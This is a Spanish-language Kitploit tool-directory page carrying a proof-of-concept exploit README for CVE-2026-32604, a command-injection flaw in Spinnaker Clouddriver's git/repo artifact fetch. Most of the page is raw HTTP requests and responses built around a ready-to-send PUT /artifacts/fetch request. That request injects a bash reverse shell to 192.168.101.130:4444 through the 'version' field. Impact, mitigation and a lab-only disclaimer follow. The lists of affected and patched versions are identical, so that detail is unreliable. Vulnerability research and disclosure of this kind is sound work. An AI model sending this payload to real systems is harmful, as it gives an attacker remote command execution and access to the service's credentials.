Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-32604 — Prueba de concepto de exploit para CVE-2026-32604, una RCE por inyección de comandos en el manejo de artefactos GitRepo de Spinnaker a través del campo version. | Kitploit
Herramientas/GitHubGitHub/k3ystr0k3r/cve-2026-32604
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónSeguridad en la NubeHerramienta de Acceso Remoto
GitHubk3ystr0k3r/cve-2026-32604

CVE-2026-32604

Prueba de concepto de exploit para CVE-2026-32604, una RCE por inyección de comandos en el manejo de artefactos GitRepo de Spinnaker a través del campo version.

Ver Repositorio
1hace 9h 43mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-32604 - RCE mediante artefacto GitRepo de Spinnaker

CVE-2026-32604 - Ejecución remota de código en Spinnaker a través del tipo de artefacto git/repo.

Esta es una vulnerabilidad de inyección de comandos / ejecución remota de código en el manejo de artefactos GitRepo de Spinnaker.

La funcionalidad vulnerable permite que valores controlados por el usuario, suministrados a través del campo version de un artefacto git/repo, lleguen a la ejecución de comandos sin ser debidamente saneados.

El endpoint vulnerable es:

root@kitploit:~
PUT /artifacts/fetch

La parte importante es que la aplicación expone el proveedor de artefactos git/repo a través de:

root@kitploit:~
GET /artifacts/credentials

que devuelve:

root@kitploit:~
[
  {
    "name": "embedded-artifact",
    "type": "artifacts-embedded",
    "types": [
      "embedded/base64",
      "remote/base64"
    ]
  },
  {
    "name": "front50ArtifactCredentials",
    "type": "artifacts-front50",
    "types": [
      "front50/pipelineTemplate"
    ]
  },
  {
    "name": "lab-gitrepo",
    "type": "git/repo",
    "types": [
      "git/repo"
    ]
  },
  {
    "name": "custom-artifact",
    "type": "artifacts-custom",
    "types": [
      "custom/object"
    ]
  }
]

Esto confirma que el tipo de artefacto git/repo está disponible.


Vulnerabilidad

La solicitud vulnerable se envía a:

root@kitploit:~
PUT /artifacts/fetch

con un cuerpo JSON que contiene un artefacto de repositorio Git.

El parámetro version puede manipularse con sintaxis de shell.

Para las pruebas, utilicé:

root@kitploit:~
main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #

La solicitud completa capturada durante el PoC fue:

root@kitploit:~
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 245

{
  "type": "git/repo",
  "name": "https://github.com/spinnaker/spinnaker.git",
  "reference": "https://github.com/spinnaker/spinnaker.git",
  "version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
  "artifactAccount": "lab-gitrepo"
}

El parámetro importante aquí es:

root@kitploit:~
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #"

La expresión de shell inyectada se añade después del valor esperado de rama/versión de Git.

El # se utiliza para comentar el resto del comando después de la expresión inyectada.


Respuesta

La solicitud fue aceptada por la aplicación vulnerable.

La respuesta HTTP capturada fue:

root@kitploit:~
HTTP/1.1 200 OK
ETag: "036378056a333bda685add0375343e80c"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 345
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive

[
  {
    "name": "embedded-artifact",
    "type": "artifacts-embedded",
    "types": [
      "embedded/base64",
      "remote/base64"
    ]
  },
  {
    "name": "front50ArtifactCredentials",
    "type": "artifacts-front50",
    "types": [
      "front50/pipelineTemplate"
    ]
  },
  {
    "name": "lab-gitrepo",
    "type": "git/repo",
    "types": [
      "git/repo"
    ]
  },
  {
    "name": "custom-artifact",
    "type": "artifacts-custom",
    "types": [
      "custom/object"
    ]
  }
]

El punto relevante es que el tipo de artefacto vulnerable está presente y el valor malicioso de version es aceptado por el endpoint de obtención de artefactos.


Verificación inicial del servicio

Antes de probar el endpoint vulnerable, verifiqué que el objetivo estaba respondiendo:

root@kitploit:~
GET /health HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive

Respuesta:

root@kitploit:~
HTTP/1.1 200 OK
ETag: "06b3d339e07161970cd740c9542492218"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 15
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive

{"status":"UP"}

Flujo de explotación

El PoC es básicamente:

root@kitploit:~
Target
  │
  ├── GET /health
  │      └── {"status":"UP"}
  │
  ├── GET /artifacts/credentials
  │      └── git/repo artifact type exposed
  │
  └── PUT /artifacts/fetch
         │
         ├── type = git/repo
         ├── reference = attacker-controlled Git repository/reference
         └── version = injected shell command
                    │
                    └── command execution

El problema no es simplemente que el endpoint acepte un nombre de rama de Git. El problema es que los datos del artefacto Git controlados por el atacante llegan a un contexto de ejecución de comandos sin estar restringidos de forma segura a la sintaxis esperada de versión/rama de Git.


Solicitud PoC sin procesar

Para una reproducción rápida, la solicitud principal es:

root@kitploit:~
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
Content-Type: application/json

{
  "type": "git/repo",
  "name": "https://github.com/spinnaker/spinnaker.git",
  "reference": "https://github.com/spinnaker/spinnaker.git",
  "version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
  "artifactAccount": "lab-gitrepo"
}

El payload anterior está destinado únicamente a un entorno de laboratorio controlado.


Por qué funciona

La ruta vulnerable implica que la implementación del artefacto GitRepo procesa información de artefactos controlada por el atacante.

El valor esperado para version es algo similar a:

root@kitploit:~
main

pero la aplicación no restringe suficientemente el valor a ese formato esperado.

En su lugar, se puede introducir sintaxis de shell:

root@kitploit:~
main; <command> #

lo que cambia el significado del comando resultante.

Esto convierte una operación de obtención de artefactos en ejecución arbitraria de comandos en el contexto del servicio Clouddriver de Spinnaker vulnerable.


Impacto

La explotación exitosa puede resultar en la ejecución arbitraria de comandos en el pod de Clouddriver afectado.

Dependiendo de los permisos y del entorno del pod comprometido, esto puede permitir potencialmente a un atacante:

  • Ejecutar comandos arbitrarios.
  • Leer credenciales disponibles para el proceso de Clouddriver.
  • Acceder a archivos disponibles dentro del contenedor.
  • Modificar o eliminar archivos accesibles.
  • Acceder a otros servicios alcanzables desde el pod.
  • Potencialmente utilizar el pod comprometido como trampolín hacia el entorno circundante.

El aviso oficial de Spinnaker señala específicamente que la explotación puede exponer credenciales, eliminar archivos o inyectar recursos.


Versiones afectadas

Según el aviso de seguridad de Spinnaker, las líneas de versión afectadas incluyen versiones anteriores a:

root@kitploit:~
2025.3.2
2025.4.2
2026.0.1
2026.1.0

Las versiones parcheadas son:

root@kitploit:~
2025.3.2
2025.4.2
2026.0.1
2026.1.0

La vulnerabilidad está registrada como CVE-2026-32604 y está clasificada como CWE-20: Validación de entrada incorrecta.


Mitigación

Actualice Spinnaker a una versión parcheada.

El aviso upstream también indica deshabilitar el tipo de artefacto git/repo como workaround para instalaciones que no pueden actualizar inmediatamente.

Se deben utilizar las versiones actuales de Spinnaker siempre que sea posible en lugar de permanecer en una rama de versión afectada.


Referencias

  • Spinnaker Security Advisory — GHSA-x3j7-7pgj-h87r
  • CVE-2026-32604 — CISA Vulnerability Enrichment
  • Spinnaker Releases

Descargo de responsabilidad

Este PoC se proporciona para investigación de seguridad, validación de vulnerabilidades y pruebas autorizadas.

Ejecútelo únicamente contra sistemas que posea o para los que tenga permiso explícito de prueba.

Probé la vulnerabilidad en un entorno de laboratorio aislado.

Descargar herramienta